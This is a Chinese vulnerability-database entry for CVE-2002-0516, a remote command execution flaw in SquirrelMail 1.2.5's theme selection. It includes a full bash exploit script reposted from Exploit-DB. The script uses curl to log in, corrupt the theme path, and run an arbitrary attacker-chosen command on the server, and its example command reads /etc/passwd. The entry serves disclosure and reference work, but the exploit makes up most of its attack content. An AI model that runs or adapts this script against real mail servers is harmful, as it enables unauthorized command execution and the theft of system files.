SquirrelMail选择主题远程执行任意命令漏洞

SquirrelMail选择主题远程执行任意命令漏洞

漏洞ID 1106661 漏洞类型 未知
发布时间 2002-03-28 更新时间 2005-05-02
图片[1]-SquirrelMail选择主题远程执行任意命令漏洞-安全小百科CVE编号 CVE-2002-0516
图片[2]-SquirrelMail选择主题远程执行任意命令漏洞-安全小百科CNNVD-ID CNNVD-200208-174
漏洞平台 PHP CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/21358
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200208-174
|漏洞详情
SquirrelMail是一个多功能的用PHP4实现的Webmail程序,可运行于Linux/Unix类操作系统下,它允许利用plugin来扩展系统的功能。某些版本的SquirrelMail程序对用户输入未做充分过滤,可以使远程攻击者在主机上执行任意命令。程序脚本对用户选择主题的变量未做充分过滤,远程攻击者可能通过构造特定的输入可能在主机上以Web服务器进程身份执行任意命令。
|漏洞EXP
source: http://www.securityfocus.com/bid/4385/info

SquirrelMail is a feature rich webmail program implemented in the PHP4 language. It is available for Linux and Unix based operating systems. SquirrelMail allows for extended functionality through a plugin system.

A vulnerability has been reported in some versions of SquirrelMail. Reportedly, it is possible to corrupt the variable used to select a user's theme, and force the vulnerable script to execute arbitrary commands. 

#!/bin/bash
#
# squirrelmail-1.2.5 remote execution by pokleyzz
http://www.inetd-secure.net
#
# usage   : ./sq125x themecount username password
url command
# example : ./sq125x 2 pokley 123456
http://mail.pokleyzz.my/mail "cat /etc/passwd"
#
# curl can be found at http://curl.haxx.se/libcurl/
#

export
PATH="/usr/bin:/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/l
ocal/sbin"
export CURL="/usr/bin/curl"
export USERNAME="$2"
export PASSWORD="$3"
export THEME_COUNT="$1"
export URL="$4"
export COMMAND=`echo $5|sed 's/ /%20/g' -`
export TMPFILE="header.tmp"
export THEME="theme[${THEME_COUNT}][PATH]
=../data/${USERNAME}.pref; theme
[${THEME_COUNT}][NAME]=testing"

#step 1
sed "s/pokley/"$USERNAME"/g" post.txt >lame.txt
/bin/rm -rf ${TMPFILE}
$CURL -b "$THEME" -d
login_username=${USERNAME} -d
secretkey=${PASSWORD} -d
js_autodetect_results=0 -d just_logged_in=1 -D
${TMPFILE} ${URL}/src/redirect.php
export COOKIES=`cat ${TMPFILE} |grep Set-
Cookie|awk {'print $2'}|while read data;do printf '%b'
$data;done`
export COOKIES="${COOKIES} ${THEME}"
$CURL -b "$COOKIES" -d @lame.txt -o /tmp/.tmp --
silent ${URL}/src/options.php

#step 2
sleep 5s
$CURL -b "$THEME" -d
login_username=${USERNAME} -d
secretkey=${PASSWORD} -d
js_autodetect_results=0 -d just_logged_in=1 -D
${TMPFILE} ${URL}/src/redirect.php
export COOKIES=`cat ${TMPFILE} |grep Set-
Cookie|awk {'print $2'}|while read data;do printf '%b'
$data;done`
export COOKIES="${COOKIES} ${THEME}"
$CURL -b "$COOKIES" -d @lame.txt -o /tmp/.tmp --
silent ${URL}/src/options.php
$CURL -b "$COOKIES" ${URL}/src/left_main.php?
cmdd=${COMMAND}
$CURL -b "$COOKIES" -o /tmp/.tmp --silent
${URL}/src/signout.php
rm -rf lame.txt /tmp/.tmp
|参考资料

来源:BID
名称:4385
链接:http://www.securityfocus.com/bid/4385
来源:XF
名称:squirrelmail-theme-command-execution(8671)
链接:http://www.iss.net/security_center/static/8671.php
来源:BUGTRAQ
名称:20020331Re:squirrelmail1.2.5emailusercanexecutecommand
链接:http://archives.neohapsis.com/archives/bugtraq/2002-03/0386.html
来源:BUGTRAQ
名称:20020327squirrelmail1.2.5emailusercanexecutecommand
链接:http://archives.neohapsis.com/archives/bugtraq/2002-03/0350.html

相关推荐: FutureWave WebX Server Directory Traversal Vulnerability

FutureWave WebX Server Directory Traversal Vulnerability 漏洞ID 1099612 漏洞类型 Access Validation Error 发布时间 2003-09-10 更新时间 2003-09-10…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享